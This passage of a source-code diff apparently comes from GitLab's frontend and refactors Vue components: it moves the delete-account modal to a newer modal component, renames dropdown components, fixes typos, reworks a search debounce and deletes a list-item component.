yourAccount: `<strong>${s__('Profiles|your account')}</strong>`,
- deleteAccount: `<strong>${s__('Profiles|Delete Account')}</strong>`,
+ deleteAccount: `<strong>${s__('Profiles|Delete account')}</strong>`,
},
false,
);
},
- },
- methods: {
+ primaryProps() {
+ return {
+ text: s__('Delete account'),
+ attributes: [
+ { variant: 'danger', 'data-qa-selector': 'confirm_delete_account_button' },
+ { category: 'primary' },
+ { disabled: !this.canSubmit },
+ ],
+ };
+ },
+ cancelProps() {
+ return {
+ text: s__('Cancel'),
+ };
+ },
canSubmit() {
if (this.confirmWithPassword) {
return this.enteredPassword !== '';
}
-
return this.enteredUsername === this.username;
},
+ },
+ methods: {
onSubmit() {
+ if (!this.canSubmit) {
+ return;
+ }
this.$refs.form.submit();
},
},
@@ -76,42 +94,39 @@ Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
</script>
<template>
- <deprecated-modal
- id="delete-account-modal"
- :title="s__('Profiles|Delete your account?')"
- :text="text"
- :primary-button-label="s__('Profiles|Delete account')"
- :submit-disabled="!canSubmit()"
- kind="danger"
- @submit="onSubmit"
+ <gl-modal
+ modal-id="delete-account-modal"
+ title="Profiles"
+ :action-primary="primaryProps"
+ :action-cancel="cancelProps"
+ :ok-disabled="!canSubmit"
+ @primary="onSubmit"
>
- <template #body="props">
- <p v-html="props.text"></p>
+ <p v-html="text"></p>
- <form ref="form" :action="actionUrl" method="post">
- <input type="hidden" name="_method" value="delete" />
- <input :value="csrfToken" type="hidden" name="authenticity_token" />
+ <form ref="form" :action="actionUrl" method="post">
+ <input type="hidden" name="_method" value="delete" />
+ <input :value="csrfToken" type="hidden" name="authenticity_token" />
- <p id="input-label" v-html="inputLabel"></p>
+ <p id="input-label" v-html="inputLabel"></p>
- <input
- v-if="confirmWithPassword"
- v-model="enteredPassword"
- name="password"
- class="form-control"
- type="password"
- data-qa-selector="password_confirmation_field"
- aria-labelledby="input-label"
- />
- <input
- v-else
- v-model="enteredUsername"
- name="username"
- class="form-control"
- type="text"
- aria-labelledby="input-label"
- />
- </form>
- </template>
- </deprecated-modal>
+ <input
+ v-if="confirmWithPassword"
+ v-model="enteredPassword"
+ name="password"
+ class="form-control"
+ type="password"
+ data-qa-selector="password_confirmation_field"
+ aria-labelledby="input-label"
+ />
+ <input
+ v-else
+ v-model="enteredUsername"
+ name="username"
+ class="form-control"
+ type="text"
+ aria-labelledby="input-label"
+ />
+ </form>
+ </gl-modal>
</template>
diff --git a/app/assets/javascripts/profile/account/components/update_username.vue b/app/assets/javascripts/profile/account/components/update_username.vue
index 58025381cb2..4aaa2cff2ac 100644
--- a/app/assets/javascripts/profile/account/components/update_username.vue
+++ b/app/assets/javascripts/profile/account/components/update_username.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escape } from 'lodash';
import axios from '~/lib/utils/axios_utils';
import DeprecatedModal2 from '~/vue_shared/components/deprecated_modal_2.vue';
diff --git a/app/assets/javascripts/profile/account/index.js b/app/assets/javascripts/profile/account/index.js
index f0d9642a2b2..5e89002b3bc 100644
--- a/app/assets/javascripts/profile/account/index.js
+++ b/app/assets/javascripts/profile/account/index.js
@@ -30,6 +30,9 @@ export default () => {
},
mounted() {
deleteAccountButton.classList.remove('disabled');
+ deleteAccountButton.addEventListener('click', () => {
+ this.$root.$emit('bv::show::modal', 'delete-account-modal', '#delete-account-button');
+ });
},
render(createElement) {
return createElement('delete-account-modal', {
diff --git a/app/assets/javascripts/project_select.js b/app/assets/javascripts/project_select.js
index 788553636f9..db2b0856e1b 100644
--- a/app/assets/javascripts/project_select.js
+++ b/app/assets/javascripts/project_select.js
@@ -110,7 +110,10 @@ const projectSelect = () => {
});
};
-export default () =>
- import(/* webpackChunkName: 'select2' */ 'select2/select2')
- .then(projectSelect)
- .catch(() => {});
+export default () => {
+ if ($('.ajax-project-select').length) {
+ import(/* webpackChunkName: 'select2' */ 'select2/select2')
+ .then(projectSelect)
+ .catch(() => {});
+ }
+};
diff --git a/app/assets/javascripts/projects/commits/components/author_select.vue b/app/assets/javascripts/projects/commits/components/author_select.vue
index a8589b50899..2204ec3cbe7 100644
--- a/app/assets/javascripts/projects/commits/components/author_select.vue
+++ b/app/assets/javascripts/projects/commits/components/author_select.vue
@@ -2,11 +2,11 @@
import { debounce } from 'lodash';
import { mapState, mapActions } from 'vuex';
import {
- GlNewDropdown,
- GlNewDropdownHeader,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
GlSearchBoxByType,
- GlNewDropdownDivider,
+ GlDropdownDivider,
GlTooltipDirective,
} from '@gitlab/ui';
import { redirectTo } from '~/lib/utils/url_utility';
@@ -18,11 +18,11 @@ const tooltipMessage = __('Searching by both author and message is currently not
export default {
name: 'AuthorSelect',
components: {
- GlNewDropdown,
- GlNewDropdownHeader,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
GlSearchBoxByType,
- GlNewDropdownDivider,
+ GlDropdownDivider,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -107,27 +107,27 @@ export default {
<template>
<div ref="dropdownContainer" v-gl-tooltip :title="tooltipTitle" :disabled="!hasSearchParam">
- <gl-new-dropdown
+ <gl-dropdown
:text="dropdownText"
:disabled="hasSearchParam"
toggle-class="gl-py-3 gl-border-0"
class="w-100 mt-2 mt-sm-0"
>
- <gl-new-dropdown-header>
+ <gl-dropdown-section-header>
{{ __('Search by author') }}
- </gl-new-dropdown-header>
- <gl-new-dropdown-divider />
+ </gl-dropdown-section-header>
+ <gl-dropdown-divider />
<gl-search-box-by-type
v-model.trim="authorInput"
- class="m-2"
+ class="gl-m-3"
:placeholder="__('Search')"
@input="searchAuthors"
/>
- <gl-new-dropdown-item :is-checked="!currentAuthor" @click="selectAuthor(null)">
+ <gl-dropdown-item :is-checked="!currentAuthor" @click="selectAuthor(null)">
{{ __('Any Author') }}
- </gl-new-dropdown-item>
- <gl-new-dropdown-divider />
- <gl-new-dropdown-item
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
+ <gl-dropdown-item
v-for="author in commitsAuthors"
:key="author.id"
:is-checked="author.name === currentAuthor"
@@ -136,7 +136,7 @@ export default {
@click="selectAuthor(author)"
>
{{ author.name }}
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
</div>
</template>
diff --git a/app/assets/javascripts/projects/components/project_delete_button.vue b/app/assets/javascripts/projects/components/project_delete_button.vue
index 4b27c5e3d30..2f3ff92d7ae 100644
--- a/app/assets/javascripts/projects/components/project_delete_button.vue
+++ b/app/assets/javascripts/projects/components/project_delete_button.vue
@@ -22,10 +22,10 @@ export default {
strings: {
alertTitle: __('You are about to permanently delete this project'),
alertBody: __(
- 'Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc.',
+ 'Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc.',
),
modalBody: __(
- "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc.",
+ "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc.",
),
},
};
diff --git a/app/assets/javascripts/projects/components/shared/delete_button.vue b/app/assets/javascripts/projects/components/shared/delete_button.vue
index e3f4500d404..051bfcb732a 100644
--- a/app/assets/javascripts/projects/components/shared/delete_button.vue
+++ b/app/assets/javascripts/projects/components/shared/delete_button.vue
@@ -86,7 +86,7 @@ export default {
<slot name="modal-body"></slot>
<p class="gl-mb-1">{{ $options.strings.confirmText }}</p>
<p>
- <code>{{ confirmPhrase }}</code>
+ <code class="gl-white-space-pre-wrap">{{ confirmPhrase }}</code>
</p>
<gl-form-input
id="confirm_name_input"
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
index ee4a00dbc75..f404e6030f4 100644
--- a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlBreadcrumb, GlIcon } from '@gitlab/ui';
import WelcomePage from './welcome.vue';
import LegacyContainer from './legacy_container.vue';
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue b/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
index cd9a72996cf..022328cd8a2 100644
--- a/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlPopover } from '@gitlab/ui';
import Tracking from '~/tracking';
import LegacyContainer from './legacy_container.vue';
diff --git a/app/assets/javascripts/projects/project_new.js b/app/assets/javascripts/projects/project_new.js
index ec0a83b5736..599aa52831b 100644
--- a/app/assets/javascripts/projects/project_new.js
+++ b/app/assets/javascripts/projects/project_new.js
@@ -1,13 +1,18 @@
import $ from 'jquery';
import DEFAULT_PROJECT_TEMPLATES from 'ee_else_ce/projects/default_project_templates';
import { addSelectOnFocusBehaviour } from '../lib/utils/common_utils';
-import { convertToTitleCase, humanize, slugify } from '../lib/utils/text_utility';
+import {
+ convertToTitleCase,
+ humanize,
+ slugify,
+ convertUnicodeToAscii,
+} from '../lib/utils/text_utility';
let hasUserDefinedProjectPath = false;
let hasUserDefinedProjectName = false;
const onProjectNameChange = ($projectNameInput, $projectPathInput) => {
- const slug = slugify($projectNameInput.val());
+ const slug = slugify(convertUnicodeToAscii($projectNameInput.val()));
$projectPathInput.val(slug);
};
diff --git a/app/assets/javascripts/projects/settings/access_dropdown.js b/app/assets/javascripts/projects/settings/access_dropdown.js
index 4dbf6675357..5d51b7ea57b 100644
--- a/app/assets/javascripts/projects/settings/access_dropdown.js
+++ b/app/assets/javascripts/projects/settings/access_dropdown.js
@@ -4,6 +4,7 @@ import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as Flash } from '~/flash';
import { n__, s__, __ } from '~/locale';
import { LEVEL_TYPES, LEVEL_ID_PROP, ACCESS_LEVEL_NONE } from './constants';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class AccessDropdown {
constructor(options) {
@@ -29,7 +30,7 @@ export default class AccessDropdown {
initDropdown() {
const { onSelect, onHide } = this.options;
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.getData.bind(this),
selectable: true,
filterable: true,
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
index d61569fcd6e..81367f7d6b4 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue
@@ -118,7 +118,10 @@ export default {
this.isTemplateSaving = true;
this.service
.updateTemplate({ selectedTemplate, outgoingName, projectKey }, this.isEnabled)
- .then(() => this.showAlert(__('Template was successfully saved.'), 'success'))
+ .then(({ data }) => {
+ this.incomingEmail = data?.service_desk_address;
+ this.showAlert(__('Changes were successfully made.'), 'success');
+ })
.catch(() =>
this.showAlert(
__('An error occurred while saving the template. Please check if the template exists.'),
diff --git a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
index 0b7433d6aaa..6a0810ad3a1 100644
--- a/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
+++ b/app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue
@@ -157,14 +157,16 @@ export default {
}}
</span>
</template>
- <gl-button
- variant="success"
- class="gl-mt-5"
- :disabled="isTemplateSaving"
- @click="onSaveTemplate"
- >
- {{ __('Save template') }}
- </gl-button>
+ <div class="gl-display-flex gl-justify-content-end">
+ <gl-button
+ variant="success"
+ class="gl-mt-5"
+ :disabled="isTemplateSaving"
+ @click="onSaveTemplate"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ </div>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/prometheus_alerts/components/reset_key.vue b/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
index 05e769f5fc8..6f60141d7ab 100644
--- a/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
+++ b/app/assets/javascripts/prometheus_alerts/components/reset_key.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlButton, GlFormGroup, GlFormInput, GlModal, GlModalDirective } from '@gitlab/ui';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import axios from '~/lib/utils/axios_utils';
diff --git a/app/assets/javascripts/protected_tags/protected_tag_access_dropdown.js b/app/assets/javascripts/protected_tags/protected_tag_access_dropdown.js
index def2f091947..202286a5fb4 100644
--- a/app/assets/javascripts/protected_tags/protected_tag_access_dropdown.js
+++ b/app/assets/javascripts/protected_tags/protected_tag_access_dropdown.js
@@ -1,4 +1,5 @@
import { __ } from '~/locale';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class ProtectedTagAccessDropdown {
constructor(options) {
@@ -8,7 +9,7 @@ export default class ProtectedTagAccessDropdown {
initDropdown() {
const { onSelect } = this.options;
- this.options.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.options.$dropdown, {
data: this.options.data,
selectable: true,
inputId: this.options.$dropdown.data('inputId'),
diff --git a/app/assets/javascripts/protected_tags/protected_tag_create.js b/app/assets/javascripts/protected_tags/protected_tag_create.js
index 03a5fe6b353..eb44f0c67fd 100644
--- a/app/assets/javascripts/protected_tags/protected_tag_create.js
+++ b/app/assets/javascripts/protected_tags/protected_tag_create.js
@@ -23,7 +23,7 @@ export default class ProtectedTagCreate {
});
// Select default
- $allowedToCreateDropdown.data('glDropdown').selectRowAtIndex(0);
+ $allowedToCreateDropdown.data('deprecatedJQueryDropdown').selectRowAtIndex(0);
// Protected tag dropdown
this.createItemDropdown = new CreateItemDropdown({
diff --git a/app/assets/javascripts/ref/components/ref_results_section.vue b/app/assets/javascripts/ref/components/ref_results_section.vue
index c8f5c66b0c1..dc74f86fd70 100644
--- a/app/assets/javascripts/ref/components/ref_results_section.vue
+++ b/app/assets/javascripts/ref/components/ref_results_section.vue
@@ -1,12 +1,12 @@
<script>
-import { GlNewDropdownHeader, GlNewDropdownItem, GlBadge, GlIcon } from '@gitlab/ui';
+import { GlDropdownSectionHeader, GlDropdownItem, GlBadge, GlIcon } from '@gitlab/ui';
import { s__ } from '~/locale';
export default {
name: 'RefResultsSection',
components: {
- GlNewDropdownHeader,
- GlNewDropdownItem,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
GlBadge,
GlIcon,
},
@@ -84,12 +84,12 @@ export default {
<template>
<div>
- <gl-new-dropdown-header>
+ <gl-dropdown-section-header>
<div class="gl-display-flex align-items-center" data-testid="section-header">
<span class="gl-mr-2 gl-mb-1">{{ sectionTitle }}</span>
<gl-badge variant="neutral">{{ totalCountText }}</gl-badge>
</div>
- </gl-new-dropdown-header>
+ </gl-dropdown-section-header>
<template v-if="error">
<div class="gl-display-flex align-items-start text-danger gl-ml-4 gl-mr-4 gl-mb-3">
<gl-icon name="error" class="gl-mr-2 gl-mt-2 gl-flex-shrink-0" />
@@ -97,7 +97,7 @@ export default {
</div>
</template>
<template v-else>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="item in items"
:key="item.name"
@click="$emit('selected', item.value || item.name)"
@@ -118,7 +118,7 @@ export default {
s__('DefaultBranchLabel|default')
}}</gl-badge>
</div>
- </gl-new-dropdown-item>
+ </gl-dropdown-item>
</template>
</div>
</template>
diff --git a/app/assets/javascripts/ref/components/ref_selector.vue b/app/assets/javascripts/ref/components/ref_selector.vue
index e388604ed92..85b123530b5 100644
--- a/app/assets/javascripts/ref/components/ref_selector.vue
+++ b/app/assets/javascripts/ref/components/ref_selector.vue
@@ -1,9 +1,9 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import {
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownHeader,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlSprintf,
GlIcon,
@@ -18,9 +18,9 @@ export default {
name: 'RefSelector',
store: createStore(),
components: {
- GlNewDropdown,
- GlNewDropdownDivider,
- GlNewDropdownHeader,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
GlSearchBoxByType,
GlSprintf,
GlIcon,
@@ -87,6 +87,15 @@ export default {
},
},
created() {
+ // This method is defined here instead of in `methods`
+ // because we need to access the .cancel() method
+ // lodash attaches to the function, which is
+ // made inaccessible by Vue. More info:
+ // https://stackoverflow.com/a/52988020/1063392
+ this.debouncedSearch = debounce(function search() {
+ this.search(this.query);
+ }, SEARCH_DEBOUNCE_MS);
+
this.setProjectId(this.projectId);
this.search(this.query);
},
@@ -95,9 +104,13 @@ export default {
focusSearchBox() {
this.$refs.searchBox.$el.querySelector('input').focus();
},
- onSearchBoxInput: debounce(function search() {
+ onSearchBoxEnter() {
+ this.debouncedSearch.cancel();
this.search(this.query);
- }, SEARCH_DEBOUNCE_MS),
+ },
+ onSearchBoxInput() {
+ this.debouncedSearch();
+ },
selectRef(ref) {
this.setSelectedRef(ref);
this.$emit('input', this.selectedRef);
@@ -107,7 +120,7 @@ export default {
</script>
<template>
- <gl-new-dropdown v-bind="$attrs" class="ref-selector" @shown="focusSearchBox">
+ <gl-dropdown v-bind="$attrs" class="ref-selector" @shown="focusSearchBox">
<template slot="button-content">
<span class="gl-flex-grow-1 gl-ml-2 gl-text-gray-400" data-testid="button-content">
<span v-if="selectedRef" class="gl-font-monospace">{{ selectedRef }}</span>
@@ -117,11 +130,11 @@ export default {
</template>
<div class="gl-display-flex gl-flex-direction-column ref-selector-dropdown-content">
- <gl-new-dropdown-header>
+ <gl-dropdown-section-header>
<span class="gl-text-center gl-display-block">{{ i18n.dropdownHeader }}</span>
- </gl-new-dropdown-header>
+ </gl-dropdown-section-header>
- <gl-new-dropdown-divider />
+ <gl-dropdown-divider />
<gl-search-box-by-type
ref="searchBox"
@@ -129,6 +142,7 @@ export default {
class="gl-m-3"
:placeholder="i18n.searchPlaceholder"
@input="onSearchBoxInput"
+ @keydown.enter.prevent="onSearchBoxEnter"
/>
<div class="gl-flex-grow-1 gl-overflow-y-auto">
@@ -161,7 +175,7 @@ export default {
@selected="selectRef($event)"
/>
- <gl-new-dropdown-divider v-if="showTagsSection || showCommitsSection" />
+ <gl-dropdown-divider v-if="showTagsSection || showCommitsSection" />
</template>
<template v-if="showTagsSection">
@@ -176,7 +190,7 @@ export default {
@selected="selectRef($event)"
/>
- <gl-new-dropdown-divider v-if="showCommitsSection" />
+ <gl-dropdown-divider v-if="showCommitsSection" />
</template>
<template v-if="showCommitsSection">
@@ -194,5 +208,5 @@ export default {
</template>
</div>
</div>
- </gl-new-dropdown>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/ref_select_dropdown.js b/app/assets/javascripts/ref_select_dropdown.js
index 2e0113271df..af8729c1d08 100644
--- a/app/assets/javascripts/ref_select_dropdown.js
+++ b/app/assets/javascripts/ref_select_dropdown.js
@@ -1,11 +1,11 @@
import $ from 'jquery';
-import '~/gl_dropdown';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
class RefSelectDropdown {
constructor($dropdownButton, availableRefs) {
const availableRefsValue =
availableRefs || JSON.parse(document.getElementById('availableRefs').innerHTML);
- $dropdownButton.glDropdown({
+ initDeprecatedJQueryDropdown($dropdownButton, {
data: availableRefsValue,
filterable: true,
filterByText: true,
diff --git a/app/assets/javascripts/registry/explorer/components/delete_button.vue b/app/assets/javascripts/registry/explorer/components/delete_button.vue
index dab6a26ea16..ee856a3e546 100644
--- a/app/assets/javascripts/registry/explorer/components/delete_button.vue
+++ b/app/assets/javascripts/registry/explorer/components/delete_button.vue
@@ -47,7 +47,6 @@ export default {
:disabled="disabled"
:title="title"
:aria-label="title"
- category="secondary"
variant="danger"
icon="remove"
@click="$emit('delete')"
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue b/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
index c254dd05aa4..ff613daf7fa 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/details_header.vue
@@ -1,9 +1,10 @@
<script>
import { GlSprintf } from '@gitlab/ui';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
import { DETAILS_PAGE_TITLE } from '../../constants/index';
export default {
- components: { GlSprintf },
+ components: { GlSprintf, TitleArea },
props: {
imageName: {
type: String,
@@ -18,13 +19,13 @@ export default {
</script>
<template>
- <div class="gl-display-flex gl-my-2 gl-align-items-center">
- <h4>
+ <title-area>
+ <template #title>
<gl-sprintf :message="$options.i18n.DETAILS_PAGE_TITLE">
<template #imageName>
{{ imageName }}
</template>
</gl-sprintf>
- </h4>
- </div>
+ </template>
+ </title-area>
</template>
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue b/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
index 8494967ab57..328026d0953 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue
@@ -67,7 +67,6 @@ export default {
:key="tag.path"
:tag="tag"
:first="index === 0"
- :last="index === tags.length - 1"
:selected="selectedItems[tag.name]"
:is-desktop="isDesktop"
@select="updateSelectedItems(tag.name)"
diff --git a/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue b/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
index 8ec5cebbe8e..661213733ac 100644
--- a/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
+++ b/app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue
@@ -5,9 +5,9 @@ import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import { formatDate } from '~/lib/utils/datetime_utility';
+import ListItem from '~/vue_shared/components/registry/list_item.vue';
import DeleteButton from '../delete_button.vue';
-import ListItem from '../list_item.vue';
-import DetailsRow from '~/registry/shared/components/details_row.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
import {
REMOVE_TAG_BUTTON_TITLE,
DIGEST_LABEL,
diff --git a/app/assets/javascripts/registry/explorer/components/list_item.vue b/app/assets/javascripts/registry/explorer/components/list_item.vue
deleted file mode 100644
index c57645cc3a1..00000000000
--- a/app/assets/javascripts/registry/explorer/components/list_item.vue
+++ /dev/null
@@ -1,128 +0,0 @@
-<script>
-import { GlButton } from '@gitlab/ui';
-
-export default {
- name: 'ListItem',
- components: { GlButton },
- props: {
- first: {
- type: Boolean,
- default: false,
- required: false,
- },
- last: {
- type: Boolean,
- default: false,
- required: false,
- },
- disabled: {
- type: Boolean,
- default: false,
- required: false,
- },
- selected: {
- type: Boolean,
- default: false,
- required: false,
- },
- },
- data() {
- return {
- isDetailsShown: false,
- detailsSlots: [],
- };
- },
- computed: {
- optionalClasses() {
- return {
- 'gl-border-t-1': !this.first,
- 'gl-border-t-2': this.first,
- 'gl-border-b-1': !this.last,
- 'gl-border-b-2': this.last,
- 'disabled-content': this.disabled,
- 'gl-border-gray-100': !this.selected,
- 'gl-bg-blue-50 gl-border-blue-200': this.selected,
- };
- },
- },
- mounted() {
- this.detailsSlots = Object.keys(this.$slots).filter(k => k.startsWith('details_'));
- },
- methods: {
- toggleDetails() {
- this.isDetailsShown = !this.isDetailsShown;
- },
- },
-};
-</script>
-
-<template>
- <div
- class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid"
- :class="optionalClasses"
- >
- <div class="gl-display-flex gl-align-items-center gl-py-4 gl-px-2">
- <div
- v-if="$slots['left-action']"
- class="gl-w-7 gl-display-none gl-display-sm-flex gl-justify-content-start gl-pl-2"
- >
- <slot name="left-action"></slot>
- </div>
- <div class="gl-display-flex gl-flex-direction-column gl-flex-fill-1">
- <div
- class="gl-display-flex gl-align-items-center gl-justify-content-space-between gl-text-body gl-font-weight-bold"
- >
- <div class="gl-display-flex gl-align-items-center">
- <slot name="left-primary"></slot>
- <gl-button
- v-if="detailsSlots.length > 0"
- :selected="isDetailsShown"
- icon="ellipsis_h"
- size="small"
- class="gl-ml-2 gl-display-none gl-display-sm-block"
- @click="toggleDetails"
- />
- </div>
- <div>
- <slot name="right-primary"></slot>
- </div>
- </div>
- <div
- class="gl-display-flex gl-align-items-center gl-justify-content-space-between gl-font-sm gl-text-gray-300"
- >
- <div>
- <slot name="left-secondary"></slot>
- </div>
- <div>
- <slot name="right-secondary"></slot>
- </div>
- </div>
- </div>
- <div
- v-if="$slots['right-action']"
- class="gl-w-9 gl-display-none gl-display-sm-flex gl-justify-content-end gl-pr-2"
- >
- <slot name="right-action"></slot>
- </div>
- </div>
- <div class="gl-display-flex">
- <div class="gl-w-7"></div>
- <div
- v-if="isDetailsShown"
- class="gl-display-flex gl-flex-direction-column gl-flex-fill-1 gl-bg-gray-10 gl-rounded-base gl-inset-border-1-gray-100 gl-mb-3"
- >
- <div
- v-for="(row, detailIndex) in detailsSlots"
- :key="detailIndex"
- class="gl-px-5 gl-py-2"
- :class="{
- 'gl-border-gray-100 gl-border-t-solid gl-border-t-1': detailIndex !== 0,
- }"
- >
- <slot :name="row"></slot>
- </div>
- </div>
- <div class="gl-w-9"></div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue b/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
index 36a46ed58f4..85d87dab042 100644
--- a/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
+++ b/app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue
@@ -1,8 +1,8 @@
<script>
-import { GlDeprecatedDropdown, GlFormGroup, GlFormInputGroup } from '@gitlab/ui';
+import { GlDeprecatedDropdown } from '@gitlab/ui';
import { mapGetters } from 'vuex';
import Tracking from '~/tracking';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
import {
QUICK_START,
LOGIN_COMMAND_LABEL,
@@ -13,22 +13,23 @@ import {
COPY_PUSH_TITLE,
} from '../../constants/index';
+const trackingLabel = 'quickstart_dropdown';
+
export default {
components: {
GlDeprecatedDropdown,
- GlFormGroup,
- GlFormInputGroup,
- ClipboardButton,
+ CodeInstruction,
},
- mixins: [Tracking.mixin({ label: 'quickstart_dropdown' })],
+ mixins: [Tracking.mixin({ label: trackingLabel })],
+ trackingLabel,
i18n: {
- dropdownTitle: QUICK_START,
- loginCommandLabel: LOGIN_COMMAND_LABEL,
- copyLoginTitle: COPY_LOGIN_TITLE,
- buildCommandLabel: BUILD_COMMAND_LABEL,
- copyBuildTitle: COPY_BUILD_TITLE,
- pushCommandLabel: PUSH_COMMAND_LABEL,
- copyPushTitle: COPY_PUSH_TITLE,
+ QUICK_START,
+ LOGIN_COMMAND_LABEL,
+ COPY_LOGIN_TITLE,
+ BUILD_COMMAND_LABEL,
+ COPY_BUILD_TITLE,
+ PUSH_COMMAND_LABEL,
+ COPY_PUSH_TITLE,
},
computed: {
...mapGetters(['dockerBuildCommand', 'dockerPushCommand', 'dockerLoginCommand']),
@@ -37,7 +38,7 @@ export default {
</script>
<template>
<gl-deprecated-dropdown
- :text="$options.i18n.dropdownTitle"
+ :text="$options.i18n.QUICK_START"
variant="primary"
size="sm"
right
@@ -45,59 +46,30 @@ export default {
>
<!-- This li is used as a container since gl-dropdown produces a root ul, this mimics the functionality exposed by b-dropdown-form -->
<li role="presentation" class="px-2 py-1 dropdown-menu-large">
- <form>
- <gl-form-group
- label-size="sm"
- label-for="docker-login-btn"
- :label="$options.i18n.loginCommandLabel"
- >
- <gl-form-input-group id="docker-login-btn" :value="dockerLoginCommand" readonly>
- <template #append>
- <clipboard-button
- class="border"
- :text="dockerLoginCommand"
- :title="$options.i18n.copyLoginTitle"
- @click.native="track('click_copy_login')"
- />
- </template>
- </gl-form-input-group>
- </gl-form-group>
+ <code-instruction
+ :label="$options.i18n.LOGIN_COMMAND_LABEL"
+ :instruction="dockerLoginCommand"
+ :copy-text="$options.i18n.COPY_LOGIN_TITLE"
+ tracking-action="click_copy_login"
+ :tracking-label="$options.trackingLabel"
+ />
- <gl-form-group
- label-size="sm"
- label-for="docker-build-btn"
- :label="$options.i18n.buildCommandLabel"
- >
- <gl-form-input-group id="docker-build-btn" :value="dockerBuildCommand" readonly>
- <template #append>
- <clipboard-button
- class="border"
- :text="dockerBuildCommand"
- :title="$options.i18n.copyBuildTitle"
- @click.native="track('click_copy_build')"
- />
- </template>
- </gl-form-input-group>
- </gl-form-group>
+ <code-instruction
+ :label="$options.i18n.BUILD_COMMAND_LABEL"
+ :instruction="dockerBuildCommand"
+ :copy-text="$options.i18n.COPY_BUILD_TITLE"
+ tracking-action="click_copy_build"
+ :tracking-label="$options.trackingLabel"
+ />
- <gl-form-group
- class="mb-0"
- label-size="sm"
- label-for="docker-push-btn"
- :label="$options.i18n.pushCommandLabel"
- >
- <gl-form-input-group id="docker-push-btn" :value="dockerPushCommand" readonly>
